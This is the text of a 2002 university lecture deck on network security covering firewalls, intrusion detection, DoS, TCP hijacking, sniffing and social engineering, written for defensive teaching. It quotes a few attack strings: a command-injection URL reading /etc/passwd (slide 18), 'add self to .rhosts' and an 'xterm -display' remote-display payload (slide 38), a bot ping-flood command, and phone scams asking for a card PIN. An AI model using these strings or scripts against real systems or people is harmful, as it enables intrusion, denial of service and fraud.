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    1 : 15-441 Networks Fall 2002 1 Network Security Justin Weisz jweisz@andrew.cmu.edu
    2 : 15-441 Networks Fall 2002 2 A Brief History of the World
    3 : 15-441 Networks Fall 2002 3 Overview What is security? Why do we need security? Who is vulnerable? Common security attacks and countermeasures Firewalls & Intrusion Detection Systems Denial of Service Attacks TCP Attacks Packet Sniffing Social Problems
    4 : 15-441 Networks Fall 2002 4 What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as: 1. A group or department of private guards: Call building security if a visitor acts suspicious. 2. Measures adopted by a government to prevent espionage, sabotage, or attack. 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.
    5 : 15-441 Networks Fall 2002 5 What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as: 1. A group or department of private guards: Call building security if a visitor acts suspicious. 2. Measures adopted by a government to prevent espionage, sabotage, or attack. 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.
    6 : 15-441 Networks Fall 2002 6 What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as: 1. A group or department of private guards: Call building security if a visitor acts suspicious. 2. Measures adopted by a government to prevent espionage, sabotage, or attack. 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.
    7 : 15-441 Networks Fall 2002 7 What is “Security” Dictionary.com says: 1. Freedom from risk or danger; safety. 2. Freedom from doubt, anxiety, or fear; confidence. 3. Something that gives or assures safety, as: 1. A group or department of private guards: Call building security if a visitor acts suspicious. 2. Measures adopted by a government to prevent espionage, sabotage, or attack. 3. Measures adopted, as by a business or homeowner, to prevent a crime such as burglary or assault: Security was lax at the firm's smaller plant. …etc.
    8 : 15-441 Networks Fall 2002 8 Why do we need security? Protect vital information while still allowing access to those who need it Trade secrets, medical records, etc. Provide authentication and access control for resources Ex: AFS Guarantee availability of resources Ex: 5 9’s (99.999% reliability)
    9 : 15-441 Networks Fall 2002 9 Who is vulnerable? Financial institutions and banks Internet service providers Pharmaceutical companies Government and defense agencies Contractors to various government agencies Multinational corporations ANYONE ON THE NETWORK
    10 : 15-441 Networks Fall 2002 10 Common security attacks and their countermeasures Finding a way into the network Firewalls Exploiting software bugs, buffer overflows Intrusion Detection Systems Denial of Service Ingress filtering, IDS TCP hijacking IPSec Packet sniffing Encryption (SSH, SSL, HTTPS) Social problems Education
    11 : 15-441 Networks Fall 2002 11 Firewalls Basic problem – many network applications and protocols have security problems that are fixed over time Difficult for users to keep up with changes and keep host secure Solution Administrators limit access to end hosts by using a firewall Firewall is kept up-to-date by administrators
    12 : 15-441 Networks Fall 2002 12 Firewalls A firewall is like a castle with a drawbridge Only one point of access into the network This can be good or bad Can be hardware or software Ex. Some routers come with firewall functionality ipfw, ipchains, pf on Unix systems, Windows XP and Mac OS X have built in firewalls
    13 : 15-441 Networks Fall 2002 13 Firewalls
    14 : 15-441 Networks Fall 2002 14 Firewalls Used to filter packets based on a combination of features These are called packet filtering firewalls There are other types too, but they will not be discussed Ex. Drop packets with destination port of 23 (Telnet) Can use any combination of IP/UDP/TCP header information man ipfw on unix47 for much more detail But why don’t we just turn Telnet off?
    15 : 15-441 Networks Fall 2002 15 Firewalls Here is what a computer with a default Windows XP install looks like: 135/tcp open loc-srv 139/tcp open netbios-ssn 445/tcp open microsoft-ds 1025/tcp open NFS-or-IIS 3389/tcp open ms-term-serv 5000/tcp open UPnP Might need some of these services, or might not be able to control all the machines on the network
    16 : 15-441 Networks Fall 2002 16 Firewalls What does a firewall rule look like? Depends on the firewall used Example: ipfw /sbin/ipfw add deny tcp from cracker.evil.org to wolf.tambov.su telnet Other examples: WinXP & Mac OS X have built in and third party firewalls Different graphical user interfaces Varying amounts of complexity and power
    17 : 15-441 Networks Fall 2002 17 Intrusion Detection Used to monitor for “suspicious activity” on a network Can protect against known software exploits, like buffer overflows Open Source IDS: Snort, www.snort.org
    18 : 15-441 Networks Fall 2002 18 Intrusion Detection Uses “intrusion signatures” Well known patterns of behavior Ping sweeps, port scanning, web server indexing, OS fingerprinting, DoS attempts, etc. Example IRIX vulnerability in webdist.cgi Can make a rule to drop packets containing the line “/cgi-bin/webdist.cgi?distloc=?;cat%20/etc/passwd” However, IDS is only useful if contingency plans are in place to curb attacks as they are occurring
    19 : 15-441 Networks Fall 2002 19 Minor Detour… Say we got the /etc/passwd file from the IRIX server What can we do with it?
    20 : 15-441 Networks Fall 2002 20 Dictionary Attack We can run a dictionary attack on the passwords The passwords in /etc/passwd are encrypted with the crypt(3) function (one-way hash) Can take a dictionary of words, crypt() them all, and compare with the hashed passwords This is why your passwords should be meaningless random junk! For example, “sdfo839f” is a good password That is not my andrew password Please don’t try it either
    21 : 15-441 Networks Fall 2002 21 Denial of Service Purpose: Make a network service unusable, usually by overloading the server or network Many different kinds of DoS attacks SYN flooding SMURF Distributed attacks Mini Case Study: Code-Red
    22 : 15-441 Networks Fall 2002 22 Denial of Service SYN flooding attack Send SYN packets with bogus source address Why? Server responds with SYN ACK and keeps state about TCP half-open connection Eventually, server memory is exhausted with this state Solution: use “SYN cookies” In response to a SYN, create a special “cookie” for the connection, and forget everything else Then, can recreate the forgotten information when the ACK comes in from a legitimate connection
    23 : 15-441 Networks Fall 2002 23 Denial of Service
    24 : 15-441 Networks Fall 2002 24 Denial of Service SMURF Source IP address of a broadcast ping is forged Large number of machines respond back to victim, overloading it
    25 : 15-441 Networks Fall 2002 25 Denial of Service
    26 : 15-441 Networks Fall 2002 26 Denial of Service Distributed Denial of Service Same techniques as regular DoS, but on a much larger scale Example: Sub7Server Trojan and IRC bots Infect a large number of machines with a “zombie” program Zombie program logs into an IRC channel and awaits commands Example: Bot command: !p4 207.71.92.193 Result: runs ping.exe 207.71.92.193 -l 65500 -n 10000 Sends 10,000 64k packets to the host (655MB!) Read more at: http://grc.com/dos/grcdos.htm
    27 : 15-441 Networks Fall 2002 27 Denial of Service Mini Case Study – CodeRed July 19, 2001: over 359,000 computers infected with Code-Red in less than 14 hours Used a recently known buffer exploit in Microsoft IIS Damages estimated in excess of $2.6 billion
    28 : 15-441 Networks Fall 2002 28 Denial of Service Why is this under the Denial of Service category? CodeRed launched a DDOS attack against www1.whitehouse.gov from the 20th to the 28th of every month! Spent the rest of its time infecting other hosts
    29 : 15-441 Networks Fall 2002 29 Denial of Service How can we protect ourselves? Ingress filtering If the source IP of a packet comes in on an interface which does not have a route to that packet, then drop it RFC 2267 has more information about this Stay on top of CERT advisories and the latest security patches A fix for the IIS buffer overflow was released sixteen days before CodeRed had been deployed!
    30 : 15-441 Networks Fall 2002 30 TCP Attacks Recall how IP works… End hosts create IP packets and routers process them purely based on destination address alone Problem: End hosts may lie about other fields which do not affect delivery Source address – host may trick destination into believing that the packet is from a trusted source Especially applications which use IP addresses as a simple authentication method Solution – use better authentication methods
    31 : 15-441 Networks Fall 2002 31 TCP Attacks TCP connections have associated state Starting sequence numbers, port numbers Problem – what if an attacker learns these values? Port numbers are sometimes well known to begin with (ex. HTTP uses port 80) Sequence numbers are sometimes chosen in very predictable ways
    32 : 15-441 Networks Fall 2002 32 TCP Attacks If an attacker learns the associated TCP state for the connection, then the connection can be hijacked! Attacker can insert malicious data into the TCP stream, and the recipient will believe it came from the original source Ex. Instead of downloading and running new program, you download a virus and execute it
    33 : 15-441 Networks Fall 2002 33 TCP Attacks Say hello to Alice, Bob and Mr. Big Ears
    34 : 15-441 Networks Fall 2002 34 TCP Attacks Alice and Bob have an established TCP connection
    35 : 15-441 Networks Fall 2002 35 TCP Attacks Mr. Big Ears lies on the path between Alice and Bob on the network He can intercept all of their packets
    36 : 15-441 Networks Fall 2002 36 TCP Attacks First, Mr. Big Ears must drop all of Alice’s packets since they must not be delivered to Bob (why?) Packets The Void
    37 : 15-441 Networks Fall 2002 37 TCP Attacks Then, Mr. Big Ears sends his malicious packet with the next ISN (sniffed from the network) ISN, SRC=Alice
    38 : 15-441 Networks Fall 2002 38 TCP Attacks What if Mr. Big Ears is unable to sniff the packets between Alice and Bob? Can just DoS Alice instead of dropping her packets Can just send guesses of what the ISN is until it is accepted How do you know when the ISN is accepted? Mitnick: payload is “add self to .rhosts” Or, “xterm -display MrBigEars:0”
    39 : 15-441 Networks Fall 2002 39 TCP Attacks Why are these types of TCP attacks so dangerous? Web server Malicious user Trusting web client
    40 : 15-441 Networks Fall 2002 40 TCP Attacks How do we prevent this? IPSec Provides source authentication, so Mr. Big Ears cannot pretend to be Alice Encrypts data before transport, so Mr. Big Ears cannot talk to Bob without knowing what the session key is
    41 : 15-441 Networks Fall 2002 41 Five Minute Break For your enjoyment, here is something completely unrelated to this lecture:
    42 : 15-441 Networks Fall 2002 42 Packet Sniffing Recall how Ethernet works … When someone wants to send a packet to some else … They put the bits on the wire with the destination MAC address … And remember that other hosts are listening on the wire to detect for collisions … It couldn’t get any easier to figure out what data is being transmitted over the network!
    43 : 15-441 Networks Fall 2002 43 Packet Sniffing This works for wireless too! In fact, it works for any broadcast-based medium
    44 : 15-441 Networks Fall 2002 44 Packet Sniffing What kinds of data can we get? Asked another way, what kind of information would be most useful to a malicious user? Answer: Anything in plain text Passwords are the most popular
    45 : 15-441 Networks Fall 2002 45 Packet Sniffing How can we protect ourselves? SSH, not Telnet Many people at CMU still use Telnet and send their password in the clear (use PuTTY instead!) Now that I have told you this, please do not exploit this information Packet sniffing is, by the way, prohibited by Computing Services HTTP over SSL Especially when making purchases with credit cards! SFTP, not FTP Unless you really don’t care about the password or data Can also use KerbFTP (download from MyAndrew) IPSec Provides network-layer confidentiality
    46 : 15-441 Networks Fall 2002 46 Social Problems People can be just as dangerous as unprotected computer systems People can be lied to, manipulated, bribed, threatened, harmed, tortured, etc. to give up valuable information Most humans will breakdown once they are at the “harmed” stage, unless they have been specially trained Think government here…
    47 : 15-441 Networks Fall 2002 47 Social Problems Fun Example 1: “Hi, I’m your AT&T rep, I’m stuck on a pole. I need you to punch a bunch of buttons for me”
    48 : 15-441 Networks Fall 2002 48 Social Problems Fun Example 2: Someone calls you in the middle of the night “Have you been calling Egypt for the last six hours?” “No” “Well, we have a call that’s actually active right now, it’s on your calling card and it’s to Egypt and as a matter of fact, you’ve got about $2000 worth of charges on your card and … read off your AT&T card number and PIN and then I’ll get rid of the charge for you”
    49 : 15-441 Networks Fall 2002 49 Social Problems Fun Example 3: Who saw Office Space? In the movie, the three disgruntled employees installed a money-stealing worm onto the companies systems They did this from inside the company, where they had full access to the companies systems What security techniques can we use to prevent this type of access?
    50 : 15-441 Networks Fall 2002 50 Social Problems There aren’t always solutions to all of these problems Humans will continue to be tricked into giving out information they shouldn’t Educating them may help a little here, but, depending on how bad you want the information, there are a lot of bad things you can do to get it So, the best that can be done is to implement a wide variety of solutions and more closely monitor who has access to what network resources and information But, this solution is still not perfect
    51 : 15-441 Networks Fall 2002 51 Conclusions The Internet works only because we implicitly trust one another It is very easy to exploit this trust The same holds true for software It is important to stay on top of the latest CERT security advisories to know how to patch any security holes
    52 : 15-441 Networks Fall 2002 52 Security related URLs http://www.robertgraham.com/pubs/network-intrusion-detection.html http://online.securityfocus.com/infocus/1527 http://www.snort.org/ http://www.cert.org/ http://www.nmap.org/ http://grc.com/dos/grcdos.htm http://lcamtuf.coredump.cx/newtcp/

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